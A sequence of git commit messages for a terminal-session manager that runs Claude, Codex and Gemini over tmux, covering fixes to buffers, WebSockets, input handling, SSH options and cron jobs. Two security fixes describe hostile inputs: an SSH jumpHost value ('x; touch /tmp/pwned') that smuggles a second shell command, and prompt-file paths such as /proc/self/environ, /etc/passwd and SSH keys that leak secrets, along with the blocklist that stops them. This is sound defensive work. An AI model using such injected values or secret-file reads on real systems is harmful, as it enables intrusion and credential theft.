the OLDEST entry in the window won (stale rename/mode). First-seen now
wins, mirroring the existing lastActivityAt guard.
- Tests: resumed session yields ONE row (service unit + route end-to-end
with a real transcript fixture); renamed-then-deleted session surfaces
the NEWEST name/mode. All 4 new tests fail against the pre-fix code.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
- _shouldForwardWheelToApp: claude sessions forward wheel to the TUI only
when the banner-parsed cliVersion is known AND >= 2.1.187 (older/unknown
Claude Code captures wheel as select-menu navigation → keep local
scrollLines); new dependency-free _cliVersionAtLeast semver-ish compare
- gemini excluded from wheel forwarding entirely (TUI wheel behavior
unverified); codex keeps forwarding (verified); taps/clicks still
forwarded for all strip modes
- link double-fire: registerFilePathLinkProvider links now track hover
state via ILink hover/leave callbacks (_linkHovered) and
_handleDesktopTerminalClick bails while a link is hovered, so a link
click no longer also sends a synthetic SGR press/release to the TUI
- help modal: document Shift+Wheel (scroll local history when mouse
passthrough is active)
- tests: version gate (2.1.186/unknown/garbage no forward, 2.1.187+
forwards), codex/gemini split, link-hover click suppression
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
- UNBOUNDED-MEMORY: DEFAULT_TERMINAL_BUFFER_TRIM_BYTES from CODEMAN_TRIM_TERMINAL_TO
had no relation to DEFAULT_TERMINAL_BUFFER_MAX_BYTES — setting only
CODEMAN_MAX_TERMINAL_BUFFER=2097152 left the 24MB trim default in force, making
BufferAccumulator.trim() (slice(-trimSize)) a no-op: unbounded growth past the cap
plus a full string re-join on every append (O(n²)). Trim default is now clamped to
75% of the resolved max (the 24MB/32MB default ratio, preserved as hysteresis);
regression test re-evaluates the module under the env via vi.resetModules.
- OVERCLAIM: reverted DEFAULT_TERMINAL_SCROLLBACK_LINES 100k -> 50k — it has zero
consumers; browser xterm scrollback is the separate hardcoded DEFAULT_SCROLLBACK
(50k) in constants.js and deliberately stays 50k (mobile-memory hazard). The tmux
history-limit raise (50k -> 100k) and PTY 32MB/24MB raise remain (those are wired).
Module docstring now claims only what is wired; fixed the stale tmux-manager.ts
comment saying the tmux limit "matches the xterm-side default in constants.js".
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
The response-viewer (eye) currently reads only ~/.claude/projects — for
Codex panes it falls back to a raw terminal-buffer dump. This adds a
Codex-aware reader with exact per-pane rollout attribution.
Locating THIS pane's rollout (~/.codex/sessions/**), in confidence order:
1. history match — Session tracks the pane's last Enter
(codexLastSubmitAt); correlating it against ~/.codex/history.jsonl
{session_id, ts} entries identifies the thread the pane is ACTUALLY
on, surviving /resume, /new and /fork typed inside the codex TUI.
An entry is credited to the pane whose Enter is closest, so menu
keystrokes in other panes can't steal attribution.
2. originator match — codex panes are spawned with
CODEX_INTERNAL_ORIGINATOR_OVERRIDE=codeman_<sessionId>, which codex
(verified on 0.144.1) writes into session_meta.originator of every
rollout it creates.
3. resume-id match — resumed rollouts keep their original session_meta
(codex appends without rewriting), but the uuid is in the filename.
4. cwd+mtime heuristic — case-blind compare (codex records launch-time
path case) and rollouts claimed by other panes are excluded.
Reader details: user turns come from event_msg/user_message (real input
only — AGENTS.md / environment_context injections never appear there),
deduped against legacy response_item rows per-text so mixed-version
rollouts keep full history; image inputs render an [image xN]
placeholder; session_meta identity is cached per path (write-once).
Frontend: thread role label follows session mode (Codex/Gemini/
OpenCode); the terminal-buffer fallback is Claude-only — TUI modes show
a clear placeholder instead of a repaint dump.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
When a browser pastes an HEIC file without normalising it first, the
paste-image route now converts it to JPEG server-side via heic-convert
before writing to .claude-images/. Magic-byte validation confirms the
output is valid JPEG. Adds type declarations for the heic-convert package.
Co-authored-by: Saqeb Akhter <saqeb.akhter@gmail.com>
A freshly created shell session rendered blank until a tab-switch. selectSession()
fetches the terminal buffer, but for a just-started shell that fetch resolves before
the PTY emits its prompt, so the buffer is empty; the prompt then arrives as a live
SSE event queued during the load and _finishBufferLoad() discarded it. The discard is
correct for an established session (its fetched buffer already contains that output),
but harmful when the load painted nothing.
_finishBufferLoad(owner, { flushQueued }) now REPLAYS the queued events through
batchTerminalWrite (after _isLoadingBuffer is cleared, so they write through, not
re-queue) instead of discarding. selectSession passes flushQueued only in the empty
branch (no fresh buffer + no cache), so the established-session de-dup path is
unchanged. TDD: test/terminal-buffer-flush.test.ts exercises the real begin/finish
mixin (vm-harness, no jsdom).
_updateConnectionIndicator() ran on every keystroke (_reliableSend) and
every ACK (_ackDelivery), unconditionally writing display/className/
textContent/title. During fast typing the rendered output is usually
identical between calls, so those were wasted main-thread DOM writes.
Extracted the branch logic into a pure DOM-free _computeConnectionDescriptor()
returning { display, dotClass, text, title } (every branch/string preserved
verbatim; hidden state normalizes the three non-display fields to '' so the
compare is well-defined). _updateConnectionIndicator() now computes the
descriptor, compares all four fields against a cached _lastIndicatorDescriptor,
and early-returns when unchanged — otherwise caches and writes the DOM exactly
as before (display always; dotClass/text/title only when shown). First call
renders (cache starts null). Perf only, no behavior change.
Tests: test/connection-indicator.test.ts — 9 descriptor cases pinning the
exact strings per state + 4 skip cases (first call writes; two identical calls
write DOM once via counting setters; state change and hidden->shown re-render).
31/31 with input-send-order regression; build, frontend-syntax, prettier clean.
MAX_WS_PER_SESSION was gated by a bare Map<sessionId,number> counter,
incremented on upgrade and decremented only on the old socket's async
close. A client that dropped and immediately reconnected could land its
new upgrade before the old socket's close fired, briefly over-counting and
tripping a spurious 4008 (-> HTTP fallback). The limit also counted raw
sockets, so a reconnecting client consumed a new slot instead of its own.
Replace the counter with WsConnectionRegistry (new pure, unit-tested module)
that tracks live sockets per session keyed by clientId. A same-cid upgrade
SUPERSEDES its own socket (evicts the stale one with close 4010, reuses the
slot, no net count change) -> a reconnect can never be rejected by the cap.
The reliable-input protocol (shouldApplyInput(cid,seq)) already assumes one
logical client per cid per session, so same-cid eviction is principled, not
a regression of multi-tab (which already collides on seq). Slots are freed
EAGERLY on error/terminate, not just async close; close is identity-matched
so a superseded socket's late close is a no-op. cid-less upgrades are
admitted anonymously up to the cap and never evict (backward-compat).
Client sends cid on the WS upgrade URL (?cid=, encoded, omitted if absent).
Tests: ws-connection-registry.test.ts (reconnect-reclaim at cap, rejects
N+1th distinct, eager-terminate frees slot, cid-less up-to-limit + no-evict,
late-close-no-evict, per-session isolation) + route integration in
ws-routes.test.ts (real upgrade through the cap). 45/45 across registry +
ws-routes + input-send-order + ws-reconnect-plan; tsc 0, build, prettier,
frontend-syntax clean.
A reliable-input frame could be stranded forever if its server ACK
({t:'ia',seq}) was lost while the WebSocket kept delivering other output.
_drainSession's WS fast path skips records with sentAt!==0, and after
COD-134 the sweep only force-closes a *silent* socket -- so a lost ACK on
an otherwise-live socket (stale && !silent) was never re-sent.
_redeliverSweep now, for an active-WS session whose oldest unacked frame
is stale but the socket is NOT silent, resets sentAt=0 on every stale
unacked frame and lets the existing _drainSession re-drive them over the
live socket (server dedups by seq). The stale && silent force-close
remains the fallback for a genuinely half-open socket. Restores the
exactly-once recovery guarantee without reintroducing the flap.
Tests: new failing-first COD-135 cases in test/input-send-order.test.ts
(re-drive on live socket; leave not-yet-stale alone; keep stale+silent
force-close). 18/18 across input-send-order + reliable-input-dedup +
ws-reconnect-plan; tsc 0, frontend-syntax, build all clean.
Root cause of the WS->HTTP->WS flapping: the v1.1.15 input-delivery merge left a
call to the now-undefined _flushHttpFallbackQueuesViaWs() in ws.onopen, so every
(re)connect threw a TypeError BEFORE _onWsReady() ran -- durable input was never
re-flushed over the fresh socket, the 2s redeliver sweep then saw stale unacked
frames and force-closed the socket, reconnect, throw again: a self-sustaining
flap loop. Remove the dead call (_onWsReady, 10 lines below, is its replacement).
Resilience + observability:
- Pure CodemanWsReconnect.plan(code, attempt) (constants.js, TDD, 6 tests):
<4004 -> fast reconnect (immediate jittered first retry, faster backoff);
4008/unknown->=4004 -> bounded retry-fallback (HTTP no longer sticks until a
tab switch); 4004/4009 -> give up (session gone). Wired into onclose.
- Redeliver sweep force-closes only a SILENT socket (no recent recv), not one
actively delivering output/ACKs -- stops self-inflicted flaps while typing.
- Client logs WS close code/reason to crash-diag; server logs [ws]
open/close/terminate/4008 (console -> journald; Fastify runs logger:false).
Verified: 6/6 unit, tsc 0, frontend-syntax + prettier clean, build; beta WS
reaches connected with zero console errors (onopen TypeError gone),
_wsLastRecvAt tracked, server [ws] lines emit.
The upstream v1.1.15 merge spliced upstream's transport-object indicator
body onto local's _connectionStatus-based _updateConnectionIndicator()
without defining `transport`, so every transport.* reference threw
ReferenceError on any queued state. That hid the "WS" status and, because
_reliableSend() updates the indicator before _drainSession(), made every
keystroke skip immediate delivery (input flushed only on the 2s sweep =
typing lag).
- Rewrite _updateConnectionIndicator() to show the terminal WebSocket
transport from _wsState (WS / HTTP / WS… / Offline), falling back to the
SSE _connectionStatus only on the idle dashboard.
- Only annotate a backlog (· N queued) above 4 bytes so normal typing no
longer flickers "sending 1B" on each key press.
- test/connection-indicator.test.ts (new): transport labels, the >4B
threshold, an exhaustive never-throws guard for the ReferenceError, and
the _reliableSend -> _drainSession invariant (typing-lag guard).
- test/input-send-order.test.ts: reconcile to local's durable input layer
(the prior coalescing-fallback tests had been failing since 1255e28).
A shell terminal could render output diagonally (each line shifted one
column right) after a full page reload or a cursor-query-failure replay.
Root cause: capturePaneBuffer's full-history path (capture-pane -p -e -S -)
and its cursor-query-failure fallback returned raw scrollback, which tmux
joins with a BARE \n. The browser xterm uses convertEol:false (correct for
the live PTY stream, which carries real \r\n), so each bare \n dropped a
row without returning the cursor to column 0 -> staircase. The visible /
tab-switch path (formatPaneSnapshot) was immune because it repaints each
row with an absolute cursor CSI.
Fix: new pure helper normalizeScrollbackEol() (\r?\n -> \r\n, idempotent
on CRLF, leaves lone \r overwrites untouched, adds/removes no rows) applied
at both raw-return seams. The absolute-positioned snapshot path is unchanged.
Tests: test/tmux-scrollback-eol.test.ts pins the invariant (no LF without a
preceding CR) + CRLF idempotency + lone-CR preservation. 136/136 across
tmux-scrollback-eol + tmux-capture-full-history + tmux-manager +
routes/session-routes; build, tsc, prettier, frontend-syntax clean.
A full page reload (GET /api/sessions/:id/terminal with no ?tail=) now captures
the ENTIRE tmux scrollback via capture-pane -p -e -S -, so users get back history
that scrolled off Codeman's byte buffer. Tab switches (?tail=N) keep the fast
visible-frame capture.
- tmux-manager capturePaneBuffer/captureActivePaneBuffer take { fullHistory }:
full-history returns raw linear scrollback (skips the single-screen
formatPaneSnapshot repaint, which would clip multi-screen history).
- /terminal selects full-history on full reload, visible on tail; caps the
payload at the configured terminalBufferMaxBytes (keeps most-recent bytes,
line-aligned) and returns source/fullSize/truncated metadata.
Verified: tsc 0, tmux-capture-full-history 5/5, session-routes 68/68.
Caveat: lines tmux already evicted past its history-limit can't be recovered.
Defense-in-depth after COD-115. If the interactive PTY exits non-zero
repeatedly within a short window, recovery/reconnect paths recreate it
indefinitely (COD-115 saw 114 'exited with code: 1' events + orphans).
- New pure InteractivePtyExitBreaker (session-pty-exit-breaker.ts):
injectable time, sliding window, clean-exit resets counter, stays
tripped until reset(). Defaults: threshold 5, window 10s.
- Session records each interactive PTY exit in the breaker; on trip it
flips _status to 'error', sets _respawnBlocked, emits
respawnBreakerTripped. startInteractive() refuses to respawn while
blocked, so all recovery/reconnect callers stop looping uniformly.
- Explicit user restart (POST /api/sessions/:id/interactive) calls
resetRespawnBreaker() so intentional restarts are never blocked.
- New SSE event session:respawnBreakerTripped wired in sse-events.ts +
constants.js (registries in sync) + session-listener-wiring.ts;
minimal diagnostic toast in app.js.
- Tests: test/respawn-pty-breaker.test.ts (pure trip/reset/window +
MockSession session-level trip/reset).
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
When the web server is launched from inside a tmux pane it inherits TMUX/
TMUX_PANE. tmux's nesting guard then makes every new attach-bridge PTY
(`tmux attach-session`, used by codex/opencode/gemini and mux-wrapped claude)
exit code 1; the respawn controller recreates the dead bridge → infinite loop.
The existing guard in buildMuxAttachEnv() used `TMUX: undefined` on a
{...process.env} spread, which leaves the KEY present with value undefined —
node-pty serializes it as the literal string "TMUX=undefined", still tripping
the guard. (The working create path in tmux-manager.ts uses `delete`.)
Fix:
- Primary: delete process.env.TMUX / TMUX_PANE at web bootstrap (src/index.ts)
so every downstream {...process.env} spread is clean regardless of launch
context. `delete`, not `= undefined`.
- buildMuxAttachEnv(): build a copy and `delete` TMUX/TMUX_PANE/CLAUDECODE
(and COLORTERM when not truecolor) instead of `: undefined` — same node-pty
quirk affected all of them.
- Test: assert the keys are genuinely ABSENT (`'TMUX' in env === false`), not
merely undefined — the prior test only checked `toBeUndefined()`, which is
why the bug slipped through. Red→green confirmed.
Verified on isolated beta launched from inside tmux (inherited the poisonous
TMUX=codeman,980,7): created a codex session + triggered interactive attach —
the bridge `tmux -L codeman-beta attach-session` spawned with NO TMUX in its
env, attached successfully, zero "exited with code: 1", server healthy.
Circuit-breaker for repeated non-zero bridge exits (AC bullet 4, optional)
split to a follow-up. Deploy-pending (substrate): never auto-deployed.
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Pins a "Browse all sessions…" item at the bottom of the command palette
list (after "New session"). Activating it closes the palette and opens
the Session Manager modal, bridging the gap between the fast in-memory
switcher and the full server-side history browser.
The item gets a distinct visual treatment (≡ icon, muted title/icon
color, 4px top gap) so it reads as a secondary action separate from the
primary session rows.
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
- src/remote-hosts.ts: add missing execAsync = promisify(exec) that was
implied by intermediate commits not in the cherry-pick set
- src/web/routes/session-routes.ts: add getDataDir import and
readRemoteCases/readRemoteHosts/toSessionRemote for remote case support
in quick-start; narrow casePath string|null via resolvedCasePath cast
- test/routes/session-routes.test.ts: add vi.hoisted remoteStore mock for
remote-hosts.js; fix 'creates session from remote case' test to use
/api/quick-start (remote cases are not supported on /api/sessions)
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
buildSshConnectionArgs interpolated jumpHost raw while its siblings
(identityFile/socksProxy/extraSshOptions) were shellescaped. The token array is
joined and run via execAsync (/bin/sh -c), so a jumpHost like "x; touch /tmp/pwned"
executed. The Zod denylist only blocked backtick/newline/$( and let ;|& and spaces
through.
- shellescape jumpHost in buildSshConnectionArgs (primary fix)
- replace jumpHost denylist with a structural allowlist: [user@]host[:port],
comma-separated multi-hop, bracketed IPv6; no shell metachar can appear
- update/extend tests: escaped -J assertion + injection-safety case
Verified: remote-ssh-options (11) + case-routes (33) pass, tsc --noEmit clean,
regex accepts valid forms / rejects 8 injection payloads.
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
The Remote case form could only reach port-22, default-identity, directly
SSH-able hosts. Add an escape-hatch set of SSH connection options so Codeman
can reach a host like aa-desktop (custom port 2222, ed25519 identity, cloudflared
SOCKS5 ProxyCommand) the way ssh-aa-desktop does — without shelling out to that
wrapper.
- Model (types/session.ts): new optional RemoteSshOptions (identityFile,
socksProxy, jumpHost, extraSshOptions) on RemoteHost AND SessionRemote; all
absent = today's behavior. toSessionRemote() carries them case->session.
- Shared buildSshConnectionArgs(remote) in remote-hosts.ts: pure, exported,
ordered ssh connection tokens (-o BatchMode=yes, -p, -i <abs identity with
~/$HOME expanded + shellescaped>, -J, -o ProxyCommand=nc -X 5 -x <socks>
%h %p emitted as ONE shellescaped token so %h %p reach ssh literally, then
each extraSshOptions -o). Both buildRemoteLaunchCommand (tmux-manager.ts) and
buildRemoteTmuxCheckCommand now use it, so the prereq probe and the real
launch connect identically. checkRemoteTmuxAvailable widened to accept the
options (callers already pass the full host).
- Validation (schemas.ts): identityFile (no newline/NUL), socksProxy
(host:port), jumpHost (no shell metachars), extraSshOptions (KEY=VALUE,
reject newline/NUL/backtick/$() — defense-in-depth on operator-entered config.
- UI (index.html + session-ui.js): SSH Port field + collapsible "Advanced SSH"
section (identity, SOCKS proxy, jump host, extra -o options one per line);
wired into the remote-host create payload.
Empty-options remotes emit byte-identical ssh to before (pinned by test).
Tests: test/remote-ssh-options.test.ts (buildSshConnectionArgs +
buildRemoteLaunchCommand + buildRemoteTmuxCheckCommand for the aa-desktop set,
escaping/%h %p/identity-~ expansion, byte-identical back-compat); case-routes
schema tests (advanced options round-trip; malformed extraSshOptions/socksProxy
rejected). tsc/eslint/frontend-syntax/prettier/build clean.
Acceptance (real remote, no wrapper): the emitted command connected to
aa-desktop through the cloudflared SOCKS proxy and created a durable remote
tmux session (verified independently via ssh-aa-desktop: CONNECTED_NO_WRAPPER,
STILL_ALIVE_AFTER_DETACH); checkRemoteTmuxAvailable over the proxy returned
{ok:true, tmuxPath:/usr/local/bin/tmux}; test session cleaned up.
Desktop click-to-position-cursor died under the server's mouse-DECSET strip
(same root cause as the mobile touchend tap regression): xterm's native mouse
encoder only emits SGR while mouseTrackingMode is ON, but the server strips the
enabling DECSETs from claude/codex/gemini output. Hand-encode the report for
plain left-clicks (_handleDesktopTerminalClick), skipping every click that
already means something else (synthetic/compat, modified, double/triple,
drag-selection, off-grid, xterm encoder live).
Also widen forwarding to the wheel: Claude Code 2.1.187+ scrolls its own
transcript on SGR wheel reports and no longer captures wheel as select-menu
navigation (verified against 2.1.202), so forward the wheel to the TUI for
strip-mode sessions at the buffer bottom (40ms-coalesced to avoid a tmux
send-keys storm). Shift+wheel and any scrolled-up viewport stay on xterm's
local scrollback. Guard synthetic taps/clicks on viewport-at-bottom so a
scrolled-up report can't hit-test the wrong row.
Tests: 12 cases in test/terminal-touch-tap.test.ts. Verified E2E via Playwright
against the live instance (wheel up/down forward, Shift+wheel local, click).
v1.1.7 (3172bef, arrived via the master merge) strips mouse-tracking DECSET
sequences from claude/codex/gemini output so the wheel keeps scrolling
scrollback. Side effect: the browser xterm's mouseTrackingMode is permanently
'none' for those sessions, and the mobile touchend tap branch gates its
synthetic click on exactly that mode — so tap-to-position-cursor silently died.
Fix: when tracking reads 'none' but the session mode is one the server strips
(claude/codex/gemini — the PTY-side TUI still has tracking ON), encode the SGR
press+release report directly from the touch point and send it to the PTY,
bypassing xterm's mouse encoder. No DOM click is dispatched, so xterm's local
selection cannot trigger either.
Tests: 3 new cases in test/terminal-touch-tap.test.ts (SGR encoding, grid
clamping, shell-mode exclusion); verified E2E via Playwright iPhone emulation
against both a stripped-stream instance and the production bundle.
Three independent root causes of intermittent Chinese character loss
(English was unaffected because it bypasses the composition path):
1. input-cjk.js state machine: stuck _composing when compositionend never
fires (WeChat/Sogou IMEs) silently swallowed all input; the deferred
compositionend flush could reset the textarea mid-next-composition
(cancels the live IME composition on iOS); the 100ms keydown-echo
window discarded ANY input regardless of content.
2. Focus stealing: session-select / SSE-reconnect paths call
terminal.focus() (15+ call sites), landing focus on xterm's hidden
textarea; with the CJK onData gate active, everything typed there was
swallowed. Fix: focus router in initTerminal routes ALL
terminal.focus() calls to the CJK field while it is visible, plus a
self-healing onData gate that reclaims focus when it swallows input.
3. Android InputConnection wedge (9-key IMEs + Chromium): the keyboard
composes in its own UI but delivers zero DOM events. Fix: skip
redundant textarea value/selection writes (they race IME session
setup), and re-tapping the focused empty field forces a blur→focus
cycle that restarts the input session.
Diagnostics: input-cjk.js now traces every IME event/flush decision into
the crash-diag breadcrumbs; /api/crash-diag stores beacons per page-load
id (iOS PWA reloads no longer wipe the trail, concurrent clients no
longer clobber each other) and flushes on visibilitychange.
Tests: test/input-cjk.test.ts (vm-sandbox, 9 cases incl. regression
guards for all three root causes).
The mobile media query only overrode .response-viewer-body with a flat
font-size: 12px / padding: 12px, leaving the desktop response-viewer
typography system (--rv-content-max, .rv-text pre, heading scale) with no
mobile tuning. Bump body text to 14.5px/1.65, give code blocks phone-sized
padding and 11.5px code, scale headings (h1 1.35em / h2 1.2em / h3 1.08em),
let content span full width, and cap the panel at 92vh.
Layers cleanly on top of the existing response-viewer selectors in
styles.css; desktop rendering is unchanged.
createInitialRalphTrackerState() stamps lastActivity: Date.now(). The
'should create fresh instances each time' test deep-equaled two factory
results, so two calls straddling a millisecond boundary differed by 1ms
and failed intermittently (e.g. PR #139 CI: 1782927694581 vs ...580).
Exclude the dynamic lastActivity from the equality check and assert it
is a number separately, preserving the test's intent (distinct instances
with identical initial field values) without the timing race.
- docs/cron-guide.md: comprehensive user/operator guide for the Cron
feature (fields, schedule types, prompt security, execution flow, API,
SSE, limits, troubleshooting), sourced from the implementation.
- SPEEDRUN.md: fast-execution protocol for Claude grounded in this repo's
real commands and CLAUDE.md guardrails.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01SSVnYek4nq4Ztmbb3SrCA5
The codeman_session cookie was only set on the Basic Auth path with a fixed
lifetime from login and never refreshed, while the server-side session store
slides its TTL (refreshOnGet). So the browser cookie expired mid-use, the next
request arrived cookie-less and fell through to Basic Auth, popping the native
username/password dialog — perceived as a random logout while actively working.
Re-issue the cookie on every authenticated (valid-cookie) request so the browser
lifetime tracks the server-side sliding TTL.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Adds a 'WebGL Renderer' toggle to Settings > Appearance (desktop). WebGL
stays on by default; users can turn it off to force the DOM renderer when
they hit GPU glitches, without needing the ?nowebgl URL param. Explicit
opt-in (or ?webgl=force) clears a stale auto-fallback marker. Mobile skip
and the long-task auto-fallback safety net are unchanged.
The device/param/sticky/pref interaction is factored into a pure,
unit-tested shouldSkipWebGL() helper in constants.js.
First increment of the read-only "complete + searchable session list".
- New src/services/unified-session-service.ts: mergeUnifiedSessions() combines
live + persisted (state.json) + lifecycle + ~/.claude transcript history + mux
stats into one list de-duped by sessionId, with precedence
history < lifecycle < persisted < live, a meaningfulness floor that drops bare
lifecycle/mux-only noise, and a stable newest-first sort. Plus
filterAndPaginate() (case-insensitive q over name/firstPrompt/workingDir/
sessionId; total before paging; limit clamped [1,500]). No IO — unit-testable.
- New GET /api/sessions/unified in session-routes.ts: gathers the five sources
from ctx (sessions/store/lifecycle/scanProjectDir/mux, each try/caught), feeds
the pure service, returns { sessions, total } (ApiResponse envelope). testMode
short-circuits to empty.
Tests: unified-session-service.test.ts (12, pure) + unified-sessions-routes.test.ts
(4, app.inject).
Bump the centralized terminal-history defaults: tmux scrollback 50k->100k and
PTY buffer cap 2MB->32MB (trim 1.5MB->24MB). Both remain env/settings overridable
and bounds-clamped. Worst-case 20-session buffer budget rises 40MB->640MB.
Stacked on the terminal-history config commit.
Introduces src/config/terminal-history.ts as the single source of truth for terminal scrollback lines, tmux history-limit, and PTY buffer byte caps. Behavior-neutral: defaults match prior hardcoded values; env overrides preserved. tmuxHistoryLimit is wired live (setHistoryLimit + respawn re-apply); the other three keys are scaffolding for a stacked follow-up. Reviewed: CI green (typecheck/lint + full test suite).
Introduce src/config/terminal-history.ts: one place for terminal scrollback,
tmux history-limit, and PTY buffer byte caps, each overridable via env var or
the settings object and bounds-clamped via resolveTerminalHistoryConfig().
Defaults match the prior hardcoded values, so this is behavior-neutral. Wires
the resolver through buffer-limits, tmux-manager (incl. a setHistoryLimit so a
settings change applies live), session, server, system-routes, session-routes,
schemas, and the config port. Adds 4 optional settings keys (terminalScrollback
Lines, tmuxHistoryLimit, terminalBufferMaxBytes, terminalBufferTrimBytes) with
bounds + a trim<=max cross-check.
Two blind adversarial reviewers found real holes in the prior cron commits:
SECURITY (was CRITICAL): the prompt-file guard was blocklist-only by default,
so promptFilePath:/proc/self/environ leaked the SERVER PROCESS's entire
environment (every secret) into the agent session, and /dev/zero or a FIFO
caused an unbounded readFile → OOM/hang DoS. A denylist is the wrong posture
for an exfil-into-LLM sink. resolveSafePromptPath now:
- confines the realpath-resolved file to the job's working dir (ALLOWLIST) —
closes /proc, /dev, other homes, modern cloud-cred paths, and symlink escapes
- requires a regular file (rejects dirs/FIFOs/char devices)
- caps the read at MAX_PROMPT_FILE_BYTES (1 MiB)
- keeps the /etc,/root,secrets blocklist as defense-in-depth
LOGIC:
- once-rearm (was MED, defeated in prod): the edit UI round-trips the full
job, so the field-PRESENCE re-arm check always fired → a renamed fired
once-job could be resurrected via edit→re-enable. Now compares schedule
VALUES; an unchanged schedule never re-arms.
- skipped-run history (was HIGH): recording a skip every tick was unbounded
state.json growth. Now coalesces consecutive skips (one record per streak)
and prunes global run history to MAX_CRON_RUN_HISTORY (500), covering the
launch path too.
- skip bookkeeping (was MED): a skip no longer advances lastRunAt (nothing
ran); lastStatus still reflects 'skipped'.
Regression tests added/updated (43 pass): /proc/self/environ + outside-workspace
+ symlink-escape + non-regular + oversized all blocked, in-workspace file
passes; UI-path once resurrection blocked; consecutive skips coalesce to one
record; skip leaves lastRunAt null.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01PmvZR12aX2v8K7YhqxPUAU
1. once-rearm on edit: editing any field of a finished one-time job reset
completedOnce, silently resurrecting it. Now only a SCHEDULE edit
(scheduleType/runAt/interval/daily/weekly) re-arms a completed once job;
cosmetic edits (rename/notes) leave completedOnce intact.
2. update-validation gap: CronJobUpdateSchema = .partial() drops the cross-field
superRefine, so a PUT switching scheduleType without its dependent field
produced a dead enabled job (nextRunAt:null). updateJob now re-validates the
MERGED job against the full CronJobSchema and throws 400 on inconsistency,
leaving the stored job untouched.
3. concurrency-skip silent starvation: skip_if_same_agent_running advanced the
schedule but wrote no run record, so a perpetually-skipped job had empty
history. Now records a 'skipped' run (new CronJobRunStatus) + lastStatus.
Tests updated/added in cron-service.test.ts (37 pass): once non-schedule edit
preserves completedOnce, schedule edit re-arms, inconsistent partial update is
rejected with the stored job untouched, and the skip path records a skipped run.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01PmvZR12aX2v8K7YhqxPUAU
A cron job's promptFilePath is user-supplied via the API and was read with an
unconfined readFile of any absolute path, so a hostile job config could exfil
arbitrary host files (e.g. /etc/passwd, SSH keys) into a Claude session.
Guard the read in resolvePrompt by mirroring the attachment-serving guard
(resolveServableAttachmentPath in file-routes): realpath-resolve the path, then
reject via the shared blocklist (/etc, /root, secret locations) plus the
optional workspace-confinement toggle before reading.
Regression tests in cron-service.test.ts: blocks /etc/passwd (the live repro)
and /root/*, fails cleanly on a missing file, and still allows an ordinary
prompt file outside the blocklist.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01PmvZR12aX2v8K7YhqxPUAU
Rename the recurring-jobs feature scheduler->cron to disambiguate from the
legacy ScheduledRun system (/api/scheduled), which is left untouched:
- ScheduledJob->CronJob, SchedulerService->CronService
- /api/scheduler/jobs -> /api/cron/jobs; SSE scheduler:* -> cron:*
- state keys cronJobs/cronJobRuns
- files moved to src/cron/, cron-routes.ts, cron-port.ts, types/cron.ts
- frontend cron-ui.js, #cronModal, menu "Cron"
- docs moved to docs/cron-discovery.md + docs/cron-build-brief.md, README guides
- new tests: cron-service.test.ts, cron-time.test.ts
Green: tsc, lint, frontend-syntax, format, 30 cron + 9 legacy scheduled-runs tests.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01PmvZR12aX2v8K7YhqxPUAU
Adds a saved/named scheduling layer on top of Codeman's existing session
primitives. Distinct from the legacy run-now ScheduledRun concept.
- types/scheduler.ts: ScheduledJob + ScheduledJobRun
- state-store: persist scheduledJobs/scheduledJobRuns in ~/.codeman/state.json
- scheduler/scheduler-time.ts: pure once/interval/daily/weekly next-run math
- scheduler/scheduler-service.ts: CRUD, Run Now, due-checker tick, run history;
reuses SessionPort (create -> start -> writeViaMux) for launches
- web/routes/scheduler-routes.ts: /api/scheduler/jobs CRUD + run + history
- web/schemas.ts: zod validation with schedule-type-aware refinements
- web/sse-events.ts: scheduler:* events
- server.ts: wire service into route context + 30s background tick loop
- test/scheduler-time.test.ts: 14 unit tests for next-run calculations
Phase 1 discovery recorded in SCHEDULER_DISCOVERY.md.
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01Rp7JhmQXcYJhmxFMdZuuah
Release 1.2.1: fix iOS Safari local echo on keyboard-up tab switches
(selectSession now runs the keyboard-show heal so typed input paints at
the prompt instead of staying invisible/mispositioned until a manual
keyboard toggle).
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Release 1.2.0: Gemini run mode, cross-session search, away digest, and
Ralph todo-config (PRs #133–#136), plus review fixes. Also refreshes CLAUDE.md
with the new-feature docs and several audit-verified drift corrections
(MockSession path, ultracode floating-window toggle, route counts, durable
input-delivery layer, mobile image-upload limits).
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Gemini (PR #134) blockers:
- runGemini() now unwraps the {success,data} envelope: status check reads
.data.available, quick-start reads data.data.sessionId (was reading the raw
shape, so the Run-Gemini button could never start a session).
- setGeminiEnvVars() now uses the socket-scoped ${this.tmux()} setenv instead of
bare tmux — Gemini/Google auth env vars were targeting the wrong tmux server
and silently failing on every install.
Gemini parity polish:
- gemini tab-mode badge ('gm') + .tab-mode.gemini CSS; kill-dialog label
'Kill Tmux & Gemini'; codeman doctor dependency-registry entry; export
isGeminiAvailable from utils barrel; COLORTERM=truecolor + unset NO_COLOR;
add gemini to isAltScreenStripMode (Ink TUI, repaints inline like Codex/Claude).
- Revert 4 system-routes.test.ts envelope assertions weakened to
(body.message ?? body.error) back to (body.success === false).
- Add a runGemini() vm-sandbox test that drives the envelope path end-to-end.
Ralph todo-config (PR #135): maxTodos/todoExpirationMinutes are now persisted
and read back — surfaced via the loopState getter (RalphTrackerState) into
toState()/SSE broadcast and restored in restoreState(), mirroring maxIterations.
